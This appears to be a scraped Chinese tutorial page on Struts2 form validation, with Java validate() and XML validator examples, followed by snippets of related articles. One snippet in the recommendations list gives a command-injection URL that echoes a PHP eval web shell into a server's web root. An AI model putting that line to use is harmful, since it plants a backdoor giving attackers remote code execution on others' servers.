struts2 校验数据的有效性 2种方式
Struts2的数据校验:
数据的校验分为客户端校验和服务器端两种:
客户端校验:JS完成的校验.(为了提升用户体验.减少用户的输入错误)
服务器端校验:在后台的校验.(必须的.)
手动编码进行校验:
1.编写一个Action,这个Action必须继承ActionSupport.
2.重写validate方法:---针对Action中的所有方法进行校验.
@Override
// Struts2提供的数据校验的方法:
public void validate() {
if(username == null || username.trim().length() == 0){
addFieldError("username", "用户名不能为空!");
}
if(password == null || password.trim().length() == 0){
addFieldError("password", "密码不能为空!");
}
}
***** 如果针对Action中的某一个方法校验呢?校验add方法.
* 编写方法 validateAdd();
使用XML配置校验方式:
1.编写一个Action继承ActionSupport
2.提供对应属性的get方法.---为了在XML中获得到变量的值.
3.在Action所在包下创建一个与Action类名相同的-validation.xml文件.
* 如XML的名称为:RegistAction2-validation.xml
* 引入DTD:xwork-core-2.3.7.jar/xwork-validator-1.0.3.dtd
* XML中的配置:
<validators>
<field name="username">
<field-validator type="requiredstring">
<message>用户名不能为空!(XML)</message>
</field-validator>
</field>
<field name="password">
<field-validator type="requiredstring">
<message>密码不能为空!(XML)</message>
</field-validator>
</field>
</validators>
***** 使用XML的校验方式如何针对某一个方法进行校验?
* 在Action所在的包下创建一个与Action类同名-方法对应的<action>的name-validation.xml
<action name=”regist2” class=”” method=”execute”>
创建的xml的名称为:RegistAction2-regist2-validation.xml
<validators>
<field name="password">
<field-validator type="stringlength">
<param name="minLength">6</param>
<param name="maxLength">12</param>
<message>密码必须在6-12位之间!(XML)</message>
</field-validator>
</field>
</validators>
综合练习:
<validators>
<field name="username">
<field-validator type="requiredstring">
<message>用户名不能为空!</message>
</field-validator>
</field>
<!-- 校验密码 -->
<field name="password">
<field-validator type="requiredstring">
<message>密码不能为空!</message>
</field-validator>
<field-validator type="stringlength">
<param name="minLength">6</param>
<param name="maxLength">12</param>
<message>密码需要在6-12位之间</message>
</field-validator>
</field>
<!-- 校验确认密码 -->
<field name="repassword">
<field-validator type="fieldexpression">
<param name="expression"><![CDATA[(password==repassword)]]></param>
<message>两次密码输入不一致!</message>
</field-validator>
</field>
<!-- 校验年龄 -->
<field name="age">
<field-validator type="int">
<param name="min">18</param>
<param name="max">60</param>
<message>年龄必须在18-60之间</message>
</field-validator>
</field>
<!-- 生日 -->
<field name="birthday">
<field-validator type="date">
<param name="min">1954-01-01</param>
<param name="max">1996-12-31</param>
<message>生日需要在54-96年之间的</message>
</field-validator>
</field>
<!-- 校验邮箱 -->
<field name="email">
<field-validator type="email">
<message>邮箱格式不正确</message>
</field-validator>
</field>
<!-- 电话 -->
<field name="phone">
<field-validator type="regex">
<param name="expression"><![CDATA[^18\d{9}$]]></param>
<message>手机号格式不正确!</message>
</field-validator>
</field>
</validators>
struts2 校验数据的有效性 2种方式的更多相关文章
- 基于MVC4+EasyUI的Web开发框架经验总结(12)--利用Jquery处理数据交互的几种方式
在基于MVC4+EasyUI的Web开发框架里面,大量采用了Jquery的方法,对数据进行请求或者提交,方便页面和服务器后端进行数据的交互处理.本文主要介绍利用Jquery处理数据交互的几种方式,包括 ...
- 实现web数据同步的四种方式
http://www.admin10000.com/document/6067.html 实现web数据同步的四种方式 1.nfs实现web数据共享 2.rsync +inotify实现web数据同步 ...
- QF——iOS中数据持久化的几种方式
数据持久化的几种方式: 一.属性列表文件: .plist文件是种XML文件.数组,字典都可以和它互相转换.数组和字典可以写入本地变成plist文件.也可以读取本地plist文件,生成数组或字典. 读取 ...
- 数据存储的两种方式:Cookie 和Web Storage
数据存储的两种方式:Cookie 和Web Storage 1.Cookie Cookie的作用就像你去超市购物时,第一次给你办张购物卡,这个购物卡里存放了一些你的个人信息,下次你再来这个连锁超市时, ...
- RecyclerView 数据刷新的几种方式 局部刷新 notify MD
Markdown版本笔记 我的GitHub首页 我的博客 我的微信 我的邮箱 MyAndroidBlogs baiqiantao baiqiantao bqt20094 baiqiantao@sina ...
- 数据存储的两种方式:Cookie 和Web Storage(转)
数据存储的两种方式:Cookie 和Web Storage 数据存储的两种方式:Cookie 和Web Storage 1.Cookie Cookie的作用就像你去超市购物时,第一次给你办张购物卡 ...
- (转)基于MVC4+EasyUI的Web开发框架经验总结(12)--利用Jquery处理数据交互的几种方式
http://www.cnblogs.com/wuhuacong/p/4085682.html 在基于MVC4+EasyUI的Web开发框架里面,大量采用了Jquery的方法,对数据进行请求或者提交, ...
- PHP中数据类型转换的三种方式
PHP中数据类型转换的三种方式 PHP的数据类型转换属于强制转换,允许转换的PHP数据类型有: 1.(int).(integer):转换成整形2.(float).(double).(real):转换成 ...
- linux下实现web数据同步的四种方式(性能比较)
实现web数据同步的四种方式 ======================================= 1.nfs实现web数据共享2.rsync +inotify实现web数据同步3.rsyn ...
随机推荐
- echo命令写shell
http://site/x.php?x=echo ^<?php @eval($_POST[x])?^> > D:\wwwroot\x.php
- Android中Java与JavaScript之间交互(转)
Android代码: package com.fyfeng.testjavascript; import android.app.Activity; import android.content.In ...
- Ubuntu终端常用的快捷键
Ubuntu终端常用的快捷键 Ubuntu中的许多操作在终端(Terminal)中十分的快捷,记住一些快捷键的操作更得心应手.在Ubuntu中打开终端的快捷键是Ctrl+Alt+T.其他的一些常用的快 ...
- [C#]集合已修改;可能无法执行枚举操作
摘要 我相信很多人对这个再熟悉不过了.对已经修改的集合进行操作就会出现这个错. 解决办法 比如有下面的一段代码,我们创建一个集合,并向集合中添加10个数,然后,我们循环再将这些数移除了. static ...
- Linux jdk1.7安装与 jdk1.6卸载
昨天安装zookeeper时需要java环境,也就是安装jdk 安装完jdk1.7后,配置好环境变量, vim ~/.bashrc JAVA_HOME=安装路径 export PAT ...
- 密码学初级教程(五)消息认证码MAC-Message Authentication Code
密码学家工具箱中的6个重要的工具: 对称密码 公钥密码 单向散列函数 消息认证码 数字签名 伪随机数生成器 MAC能识别出篡改和伪装,也就是既可以确认消息的完整性,也可以进行认证. 消息认证码的输入包 ...
- Junit初级编码(一)第一个Junit测试程序
序,Junit测试是单元测试的一个框架,提供了很多方法,供我们快速开展单元测试.目前最新版本JAR包为4.12,官网地址为http://junit.org/ 一.第一个Junit测试程序 1 去官网下 ...
- ECshop安装及报错解决方案总结
一.安装ECshop ECShop是一款B2C独立网店系统 ,适合企业及个人快速构建个性化网上商店.系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序.2006年3月推出以来1.0版以来, ...
- XML类似的解析时,会遇到'XXX' 不是 'NCName' 的有效值的问题
主要原因是:xml中或类xml的文件中有些关键属性的值不符合NCName命名规范,例如我遇到的是流程的bpmn文件中,id的属性值命名的数字开头. NCName 不包含冒号 (:) 的 XML 名称. ...
- python del 注意点
>>> del a[:] >>> a [] del也可以用于删除整个变量: >>> >>> del a 之后再引用名称 a 将会 ...